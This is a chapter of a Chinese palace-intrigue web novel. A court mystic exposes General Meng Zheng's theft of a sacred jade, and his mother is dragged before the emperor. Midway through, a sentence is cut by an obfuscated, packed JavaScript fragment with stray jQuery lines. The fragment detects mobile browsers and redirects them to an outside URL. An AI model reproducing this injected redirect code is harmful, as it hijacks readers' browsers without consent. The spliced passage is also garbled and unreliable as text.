第225章 流下血泪

作品:《惨死认亲日,嫡女夺回凤命杀疯了

    “殿下莫要再往前了。”


    云昭抬手,指向大殿中央流转着微光的符阵:“


    若殿下不慎踏入,扰乱了阵中灵机,干扰了追寻玉璜下落的线索,这个责任……恐怕谁都担待不起。”


    她说这话时,神色端肃,目光澄澈,一副完全为公事着想的模样。


    可唯有距离她不远、且一直死死盯着她的太子萧鉴,看得分明——


    自他出现在大殿之上,云昭的目光总会若有似无地瞥过他脚下的影子。


    那目光平静无波,却比任何嘲讽或恐吓,都更让太子毛骨悚然!


    昨夜他打发拂云去寻那个曾侍奉过永熙王的穆姓玄师,可那样的人物,岂是仓促之间就能找到的?


    整整一夜,他躺在殷府那间被无数灯烛照得亮如白昼的房间里,不敢合眼。


    只要烛火稍微晃动,墙上、地上的影子随之扭曲变形,他就觉得那些黑影仿佛活了过来!


    那种如芒在背的惊惧,已将他折磨得草木皆兵,几近崩溃。


    此刻,看到云昭的目光流转,太子心中笃定,她看出来了!


    她一定早就看出来他影子有问题!


    昨夜她那般干脆利落地离开,说什么回玄察司取东西,根本就是故意的!


    她故意将他晾在那里,故意任由他被恐惧折磨!


    羞愤、怨恨,恐惧化作一股烈火冲上心头。


    太子脸色铁青,从齿缝里挤出几个字:“姜、云、昭——!!”


    “你退后。”


    一个威严而冷淡的声音,自御座方向传来,打断了太子即将喷薄而出的怒火。


    皇帝坐在龙椅上,目光甚至并未落在太子身上,语气不容置疑:“退到一旁去。莫要干扰姜司主施法。”


    太子愕然抬头,难以置信地看向自己的父皇。


    昨日他离宫前,父皇虽对他有些冷淡,但言语间仍有回护之意,甚至默许了他前往殷府对姜云昭施压……


    怎么才不过一夜,父皇的态度就变得如此冷硬?


    难道就因为姜云昭昨夜救了孟峥?


    还是说……父皇知道了什么别的事……


    一股寒意,瞬间席卷了太子的四肢百骸。


    就在太子心神剧震之际,殿外天空,骤然传来一声尖锐的破空厉啸!


    “咻——!”


    一枚拖着醒目红色尾焰的信箭,划破长空,猛地炸开一团耀眼的红色光晕!


    裴寂快步走出殿外,仰头仔细观察信箭升起的方向,片刻后折返,声音洪亮地禀报:


    “陛下!信箭起自东南方向,距宫城约七里,具体方位应是……崇仁坊附近!”


    皇帝闻言,神色看不出喜怒,但眼神已然冷了几分。


    殿内群臣则是一片低声哗然。


    立刻有熟悉京城布局的官员失声道:“崇仁坊?那……那不是孟大将军府邸所在的坊区吗?!”


    另一名官员接口,语气带着难以置信的惊疑:“虽同在崇仁坊,但坊内宅邸众多,未必就是大将军府……”


    “可那道灵光指向明确,信箭又恰恰在崇仁坊升起,这未免太过巧合!”


    众人的目光已不由自主地瞟向神情木然的孟峥。


    皇帝从龙椅上缓缓站起,步下丹陛,走到大殿门口,负手望着信箭消散的天空方向,沉默不语。


    就在众人心思各异、窃窃私语之时——


    “咻——!”


    第二枚信箭,竟紧接着在另一个稍远些的方位,同样拖着醒目的尾焰,尖锐地撕裂空气,升空炸开!


    这一次,信箭升起的方向,是正南偏东!


    “这……怎么会有两处?”


    “灵光不是只指向一处吗?”


    群臣面面相觑,一时惊疑不定,议论声更大了。


    赵悉走到云昭身侧,低语道:“这第二枚信箭的方向,是孟府。小姑奶奶,你这是要把陛下后院掀翻啊!”


    要知道,不仅大将军姓孟,贵妃姓孟,当朝皇后,也姓孟!


    就连太子身上也留着一半孟氏的血!


    赵悉口中的孟府,指的正是大将军孟峥和孟贵妃的本家。


    云昭眸光闪烁,她先时见孟峥腰间那块曾庇护他多年的玉佩,又听了阿措依和岩诺姐弟先后讲述的黑石寨往事,便猜到孟峥有收集美玉的癖好。


    只是没想到,孟峥竟将玉璜一分为二,还将其中一半给了自家人。


    在场有不少人也看出了端倪,彼此交换着心照不宣的眼神,但此刻,再无人站出来为孟峥辩驳半句。


    又过了约莫一炷香的功夫,殿外终于传来急促而整齐的脚步声。


    皇帝派出的精锐,几乎同时折返。


    其中一队由一名神色冷峻的侍卫统领率领,他们手中捧着一个不起眼的黑漆木盒。


    而另一队,则更为引人注目——


    为首的侍卫手中,竟然还提着一个打扮得珠光宝气的老妇人!


    待那老妇人被重重丢在殿前,众人看清她的面容,无不倒吸一口凉气!


    这老妇竟是孟峥的母亲,朝廷钦封的一品诰命夫人秦氏!


    秦氏何曾受过这等**?


    她挣扎着爬起身,也顾不得整理仪容,老泪纵横地朝着御座方向连连叩首:“陛下!臣妇冤枉啊!


    臣妇今日好端端在佛堂诵经,这些凶神恶煞的侍卫突然闯进府中,不容分说便将臣妇捆了带来!


    求陛下为臣妇做主,严惩这些无法无天之徒!”


    然而云昭的目光,却第一时间落在了秦氏那因挣扎而歪斜的发髻上——


    那里斜插着一支雕工极为精细的白玉簪子。


    玉簪的簪头,正散发着极其微弱的莹润宝光!


    不仅云昭看到了,高踞御座的皇帝,以及许多眼尖的臣子,也都瞧见了。


    而一直死死盯着秦氏的岩诺,在看清那簪头玉质的瞬间,双眼骤然赤红,如同一头被彻底激怒的幼兽,猛地扑上前!


    他动作快得惊人,不等任何人阻拦,已一把扯下秦氏发间那支白玉簪,双手颤抖地捧在心口的位置。


    “我黑石寨世代供奉的九黎血玉璜,你们竟将圣物一分为二,戴在妇人头上招摇!”


    他猛地转身,死死瞪着瘫坐在地、尚未反应过来的秦氏恨声道,“玉璜既碎,灵性大损!你们……你们罪该万死!”


    “贪婪无耻的中原强盗!满口仁义,都是谎言!”


    不少官员被骂得脸色阵青阵白,他们想要呵斥这蛮子无礼,可一想到若他所言为真,那便是亡族灭种的血海深仇!


    易地而处,若自家遭此大难,他们只怕比这少年更加疯狂!


    一时间,满堂文武,竟无人能出言反驳,只剩一片难堪的沉默。


    玉璜既毁,即便云昭玄术通神,也难以借此物完整回溯当年真相了。


    骑跨在孟峥后颈上的阿措依,猩红的鬼眼中,两行浓稠的血泪潸然而下。


    就在这时,云昭几不可察地动了动嘴唇,以鬼语极轻地说了一句:“让他‘醒’过来。”


    方才云昭在朝堂上所做的一切,以玄术为岩诺正名,以灵光逼指孟府,早已大大出乎阿措依的意料,也充分彰显了云昭合作的诚意。


    阿措依知道,至少在此刻,云昭与她的目标是一致的——


    让孟峥身败名裂,伏法认罪!


    她不再犹豫,松开了那双一直如铁箍般环住孟峥脖颈的鬼手,凝聚起一丝精纯的怨力,朝着孟峥的头顶天灵盖,狠狠一拍而下!


    “呃啊——!”孟峥喉咙里发出一声极其痛苦的低哑呻吟。


    他原本空洞木然的双眼猛地一瞠,先是茫然地四下扫视,待看到瘫坐在不远处、鬓发散乱、泪流满面的秦氏时,下意识地唤道:“娘?”


    秦氏此刻脑子里还是懵的,她根本不清楚具体发生了什么,只感觉今日之事来势汹汹,绝非好事。


    见儿子终于清醒并看向自己,她如同抓住了救命稻草,哭诉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910910|187080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道:“峥儿!我的儿啊!你快跟陛下说清楚,这到底是怎么回事?


    娘今日在府中好好的,怎么就……是不是有什么天大的误会?你快向陛下解释啊!”


    她虽不明就里,但察觉到满朝文武看向他们母子的目光,充满了不善与审视。


    她知道,今日祸事,必与长子息息相关!


    秦氏这一生,可谓享尽了荣华富贵,顺遂得令人艳羡。


    她出身名门,父亲曾官至户部尚书,丈夫出自煊赫的范阳孟氏,本身亦官至光禄大夫。


    但最让她骄傲、也让她在贵妇圈中地位超然的,还是她所出的一双儿女——


    长子孟峥,军功起家,位极人臣,官拜护国大将军,手掌重兵,权倾朝野;


    长女孟清妍更是了得,十年前选秀入宫,仅用了三年时间,便从小小的才人一路升至贵妃之位,宠冠后宫,风头无两。


    她秦氏,母凭子贵,一品诰命加身,往来皆是顶级权贵,大半辈子都活在旁人仰望的目光与恭维之中。


    何曾想过有朝一日,会如此狼狈不堪地被丢在朝堂之上,承受着无数或审视或鄙夷的目光?


    这从云端骤然跌落的惶惑与恐惧,几乎将她击垮。


    孟峥的目光随着母亲的哭诉,迅速扫过全场。


    当他看清手持残破玉簪、双目赤红死死瞪着他的岩诺时,浑身剧震,如遭雷击!


    待看到母亲身旁侍卫手中捧着的那个黑漆木盒……


    他脸上的血色瞬间褪得干干净净,一股灭顶的寒意从脚底直冲头顶!


    “陛、陛下……”


    孟峥猛地跪直身体,声音干涩嘶哑,额头上冷汗涔涔而下,瞬间浸湿了鬓角。


    皇帝目光如冰刃般落在他脸上:“孟卿,朕等着你的解释。”


    孟峥张了张嘴,想要辩解,想要将一切推到岩诺身上,说他是蛮子诬陷,说那玉是仿造……


    可他刚刚被阿措依强行唤醒,神魂本就因长时间的鬼噬与操控而衰弱混乱,此刻又面临如山铁证与帝王威压,脑子里仿佛塞满了乱麻,一片空白。


    “此蛮……此蛮他……陛下,臣……”


    “陛下,”云昭开口道,“微臣倒是有个法子,或可让孟大将军畅所欲言,道出心中所想。”


    她转向一旁的内侍:“请取一碗清水来。”


    清水很快奉上。


    云昭伸出右手食指,指尖悬于水碗上方寸许,凌空勾画起来。


    须臾,云昭端起那碗符水,故意朗声道:“此法,乃臣机缘巧合,得碧云寺有悔大师秘传。


    饮下此‘真言符水’,一炷香内,只能说心中认定的真话,若违心说谎,符力反噬,顷刻间肠穿肚烂,七窍流血而亡。”


    她端着水碗,一步步走到浑身颤抖的孟峥面前,居高临下地看着他:“孟大将军,请吧。”


    孟峥死死盯着那碗水!


    他当然知道绝不能喝!


    一旦喝了,他那些深埋心底、见不得光的秘密,将在众目睽睽之下尽数吐露!


    届时,孟家上下几百口都将死无葬身之地!


    “不……我不喝!这是妖术!妖术!”


    孟峥突然暴起,抬手狠狠朝着云昭手中的水碗扫去,直接将其打翻!


    “放肆——!”皇帝勃然怒喝,声震殿宇。


    云昭似乎早有预料,在孟峥抬手的同时,已疾步向后退去。


    而几乎在同一时间,萧启手腕微动,手中青玉笏板直朝孟峥掷出!


    玉笏板精准地砸在孟峥挥出的手腕上,力道奇大!


    只听“咔嚓”一声轻微的骨裂声响,孟峥惨叫一声,右手软软垂下。


    早已蓄势待发的大内侍卫如猛虎般扑上,瞬间将孟峥死死摁倒在地!


    云昭与孟峥透着不甘与死气的双目相对,唇角微勾。


    方才的水里,根本什么都没有。


    但对做贼心虚的孟峥而言,那碗所谓的真言符水,就是他的催命符!